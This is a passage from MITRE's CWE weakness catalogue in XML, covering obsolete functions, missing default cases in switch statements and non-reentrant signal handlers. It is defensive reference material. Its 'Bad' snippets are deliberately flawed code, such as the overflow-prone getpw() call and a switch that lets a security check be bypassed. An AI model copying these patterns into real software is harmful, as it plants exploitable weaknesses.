         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Refer to the documentation for the obsolete function in order to determine why it is deprecated or obsolete and to learn about alternative ways to achieve the same functionality.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Consider seriously the security implications of using an obsolete function. Consider using alternate functions.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code uses the deprecated function getpw() to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets result to 1; otherwise it is set to 0.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>...<xhtml:br/>getpw(uid, pwdline);<xhtml:br/>for (i=0; i&lt;3; i++){<xhtml:div style="margin-left:1em;">cryptpw=strtok(pwdline, ":");<xhtml:br/>pwdline=0;</xhtml:div>}<xhtml:br/>result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0;<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Although the code often behaves correctly, using the getpw() function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, getpw() has been supplanted by getpwuid(), which performs the same lookup as getpw() but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String cmd = null;<xhtml:br/>...<xhtml:br/>cmd = Environment.GetEnvironmentVariable("cmd");<xhtml:br/>cmd = cmd.Trim();</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>String name = new String(nameBytes, highByte);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>In this example, the constructor may not correctly convert bytes to characters depending upon which charset is used to encode the string represented by nameBytes. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Obsolete</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>DCL30-PL</Entry_ID>
               <Entry_Name>Do not import deprecated modules</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP30-PL</Entry_ID>
               <Entry_Name>Do not use deprecated or obsolete functions or modules</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Name, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Obsolete</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-11-08">Use of Obsolete Functions</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="478" Name="Missing Default Case in Multiple Condition Expression" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The code does not have a default case in an expression with multiple conditions, such as a switch statement.</Description>
         <Extended_Description>If a multiple-condition expression (such as a switch in C) omits the default case but does not consider or handle all possible values that could occur, then this might lead to complex logical errors and resultant weaknesses. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1023" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
            <Language Name="Python" Prevalence="Undetermined"/>
            <Language Name="JavaScript" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Alter Execution Logic</Impact>
               <Note>Depending on the logical circumstances involved, any consequences may result: e.g., issues of confidentiality, authentication, authorization, availability, integrity, accountability, or non-repudiation.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that there are no cases unaccounted for when adjusting program flow or values based on the value of a given variable. In the case of switch style statements, the very simple act of creating a default case can, if done correctly, mitigate this situation. Often however, the default case is used simply to represent an assumed option, as opposed to working as a check for invalid input. This is poor practice and in some cases is as bad as omitting a default case entirely.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following does not properly check the return code in the case where the security_check function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define FAILED 0<xhtml:br/>#define PASSED 1<xhtml:br/>int result;<xhtml:br/>...<xhtml:br/>result = security_check(data);<xhtml:br/>switch (result) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>case FAILED:<xhtml:div style="margin-left:1em;">printf("Security check failed!\n");<xhtml:br/>exit(-1);<xhtml:br/>
                              <xhtml:i>//Break never reached because of exit()</xhtml:i>
                              <xhtml:br/>break;</xhtml:div>
                           <xhtml:br/>case PASSED:<xhtml:div style="margin-left:1em;">printf("Security check passed.\n");<xhtml:br/>break;</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:i>// program execution continues...</xhtml:i>
                     <xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Instead a default label should be used for unaccounted conditions:</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>#define FAILED 0<xhtml:br/>#define PASSED 1<xhtml:br/>int result;<xhtml:br/>...<xhtml:br/>result = security_check(data);<xhtml:br/>switch (result) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>case FAILED:<xhtml:div style="margin-left:1em;">printf("Security check failed!\n");<xhtml:br/>exit(-1);<xhtml:br/>
                              <xhtml:i>//Break never reached because of exit()</xhtml:i>
                              <xhtml:br/>break;</xhtml:div>
                           <xhtml:br/>case PASSED:<xhtml:div style="margin-left:1em;">printf("Security check passed.\n");<xhtml:br/>break;</xhtml:div>
                           <xhtml:br/>default:<xhtml:div style="margin-left:1em;">printf("Unknown error (%d), exiting...\n",result);<xhtml:br/>exit(-1);</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the method getInterestRate retrieves the interest rate for the number of points for a mortgage. The number of points is provided within the input parameter and a switch statement will set the interest rate value to be returned based on the number of points.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";<xhtml:br/>public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";<xhtml:br/>public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";<xhtml:br/>...<xhtml:br/>public BigDecimal getInterestRate(int points) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);<xhtml:br/>
                           <xhtml:br/>switch (points) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>case 0:<xhtml:div style="margin-left:1em;">result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);<xhtml:br/>break;</xhtml:div>
                                 <xhtml:br/>case 1:<xhtml:div style="margin-left:1em;">result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);<xhtml:br/>break;</xhtml:div>
                                 <xhtml:br/>case 2:<xhtml:div style="margin-left:1em;">result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);<xhtml:br/>break;</xhtml:div>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:br/>return result;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, this code assumes that the value of the points input parameter will always be 0, 1 or 2 and does not check for other incorrect values passed to the method. This can be easily accomplished by providing a default label in the switch statement that outputs an error message indicating an invalid value for the points input parameter and returning a null value.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";<xhtml:br/>public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";<xhtml:br/>public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";<xhtml:br/>...<xhtml:br/>public BigDecimal getInterestRate(int points) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);<xhtml:br/>
                           <xhtml:br/>switch (points) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>case 0:<xhtml:div style="margin-left:1em;">result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);<xhtml:br/>break;</xhtml:div>
                                 <xhtml:br/>case 1:<xhtml:div style="margin-left:1em;">result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);<xhtml:br/>break;</xhtml:div>
                                 <xhtml:br/>case 2:<xhtml:div style="margin-left:1em;">result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);<xhtml:br/>break;</xhtml:div>
                                 <xhtml:br/>default:<xhtml:div style="margin-left:1em;">System.err.println("Invalid value for points, must be 0, 1 or 2");<xhtml:br/>System.err.println("Returning null value for interest rate");<xhtml:br/>result = null;</xhtml:div>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>return result;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following Python example the match-case statements (available in Python version 3.10 and later) perform actions based on the result of the process_data() function. The expected return is either 0 or 1. However, if an unexpected result (e.g., -1 or 2) is obtained then no actions will be taken potentially leading to an unexpected program state.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>result = process_data(data)
                  <xhtml:br/>match result:
                  <xhtml:div style="margin-left:1em;">case 0:
                     <xhtml:div style="margin-left:1em;">print("Properly handle zero case.")</xhtml:div>
                  <xhtml:br/>case 1:
                     <xhtml:div style="margin-left:1em;">print("Properly handle one case.")</xhtml:div>
                  </xhtml:div>
                  <xhtml:br/># program execution continues...</xhtml:div>
               </Example_Code>
               <Body_Text>The recommended approach is to add a default case that captures any unexpected result conditions, regardless of how improbable these unexpected conditions might be, and properly handles them.</Body_Text>
               <Example_Code Nature="Good" Language="Python">
                  <xhtml:div>result = process_data(data)
                  <xhtml:br/>match result:
                  <xhtml:div style="margin-left:1em;">case 0:
                     <xhtml:div style="margin-left:1em;">print("Properly handle zero case.")</xhtml:div>
                  <xhtml:br/>case 1:
                     <xhtml:div style="margin-left:1em;">print("Properly handle one case.")</xhtml:div>
                  <xhtml:br/>case _:
                     <xhtml:div style="margin-left:1em;">print("Properly handle unexpected condition.")</xhtml:div>
                  </xhtml:div>
                  <xhtml:br/># program execution continues...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following JavaScript example the switch-case statements (available in JavaScript version 1.2 and later) are used to process a given step based on the result of a calcuation involving two inputs. The expected return is either 1, 2, or 3. However, if an unexpected result (e.g., 4) is obtained then no action will be taken potentially leading to an unexpected program state.</Intro_Text>
               <Example_Code Nature="Bad" Language="JavaScript">
                  <xhtml:div>let step = input1 + input2;
                  <xhtml:br/>switch(step) {
                  <xhtml:div style="margin-left:1em;">case 1:
                     <xhtml:div style="margin-left:1em;">alert("Process step 1.");
                     <xhtml:br/>break;</xhtml:div>
                  <xhtml:br/>case 2:
                     <xhtml:div style="margin-left:1em;">alert("Process step 2.");
                     <xhtml:br/>break;</xhtml:div>
                  <xhtml:br/>case 3:
                     <xhtml:div style="margin-left:1em;">alert("Process step 3.");
                     <xhtml:br/>break;</xhtml:div>
                  </xhtml:div>
                  <xhtml:br/>}
                  <xhtml:br/>// program execution continues...</xhtml:div>
               </Example_Code>
               <Body_Text>The recommended approach is to add a default case that captures any unexpected result conditions and properly handles them.</Body_Text>
               <Example_Code Nature="Good" Language="JavaScript">
                  <xhtml:div>let step = input1 + input2;
                  <xhtml:br/>switch(step) {
                  <xhtml:div style="margin-left:1em;">case 1:
                     <xhtml:div style="margin-left:1em;">alert("Process step 1.");
                     <xhtml:br/>break;</xhtml:div>
                  <xhtml:br/>case 2:
                     <xhtml:div style="margin-left:1em;">alert("Process step 2.");
                     <xhtml:br/>break;</xhtml:div>
                  <xhtml:br/>case 3:
                     <xhtml:div style="margin-left:1em;">alert("Process step 3.");
                     <xhtml:br/>break;</xhtml:div>
                  <xhtml:br/>default:
                     <xhtml:div style="margin-left:1em;">alert("Unexpected step encountered.");</xhtml:div>
                  </xhtml:div>
                  <xhtml:br/>}
                  <xhtml:br/>// program execution continues...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-152">
              <Intro_Text>The Finite State Machine (FSM) shown in the "bad" code snippet below assigns the output ("out") based on the value of state, which is determined based on the user provided input ("user_input").</Intro_Text>
              <Example_Code Nature="Bad" Language="Verilog">
                <xhtml:div>module fsm_1(out, user_input, clk, rst_n);
                <xhtml:br/>input [2:0] user_input; 
                <xhtml:br/>input clk, rst_n;
                <xhtml:br/>output reg [2:0] out;
                <xhtml:br/>reg [1:0] state;
                <xhtml:br/>always @ (posedge clk or negedge rst_n )
                <xhtml:br/>
                <xhtml:div style="margin-left:1em;">begin
                <xhtml:br/>
                <xhtml:div style="margin-left:1em;">
				  if (!rst_n)<xhtml:br/>
				  <xhtml:div style="margin-left:1em;">
					state = 3'h0;
				  </xhtml:div>
                  else<xhtml:br/>
				  case (user_input)
                  <xhtml:div style="margin-left:1em;">
					3'h0:<xhtml:br/>
					3'h1:<xhtml:br/>
					3'h2:<xhtml:br/>
					3'h3: state = 2'h3;<xhtml:br/>
					3'h4: state = 2'h2;<xhtml:br/>
					3'h5: state = 2'h1;<xhtml:br/>
                  </xhtml:div>
                endcase
                </xhtml:div>
                end<xhtml:br/>
                out &lt;= {1'h1, state};<xhtml:br/>
                </xhtml:div>
                endmodule
                </xhtml:div>
              </Example_Code>
              <Body_Text>
                <xhtml:p>The case statement does not include a default to handle the scenario when the user provides inputs of 3'h6 and 3'h7.  Those inputs push the system to an undefined state and might cause a crash (denial of service) or any other unanticipated outcome.</xhtml:p>
                <xhtml:p>Adding a default statement to handle undefined inputs mitigates this issue.  This is shown in the "Good" code snippet below.  The default statement is in bold.</xhtml:p>
              </Body_Text>
              <Example_Code Nature="Good" Language="Verilog">
                <xhtml:div>case (user_input)
                <xhtml:br/><xhtml:div style="margin-left:1em;">3'h0:
                <xhtml:br/>3'h1:
                <xhtml:br/>3'h2:
                <xhtml:br/>3'h3: state = 2'h3;
                <xhtml:br/>3'h4: state = 2'h2;
                <xhtml:br/>3'h5: state = 2'h1;
                <xhtml:br/><xhtml:b>default: state = 2'h0;</xhtml:b>
              </xhtml:div>
                endcase</xhtml:div>
              </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to account for default case in switch</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Switch Statements&#34;, Page 337"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Drew Buttner</Contribution_Name>
               <Contribution_Date>2022-08-15</Contribution_Date>
               <Contribution_Comment>Suggested name change and other modifications, including a new demonstrative example.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2008-04-11">Failure to Account for Default Case in Switch</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Use Default Case in Switch</Previous_Entry_Name>
			<Previous_Entry_Name Date="2022-10-13">Missing Default Case in Switch Statement</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="479" Name="Signal Handler Use of a Non-reentrant Function" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product defines a signal handler that calls a non-reentrant function.</Description>
         <Extended_Description>
            <xhtml:p>Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state and unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.</xhtml:p>
            <xhtml:p>Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as "scratch space." If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="828" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="663" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="123" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>It may be possible to execute arbitrary code through the use of a write-what-where condition.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Modify Application Data</Impact>
               <Note>Signal race conditions often result in data corruption.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Require languages or libraries that provide reentrant functionality, or otherwise make it easier to avoid this weakness.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
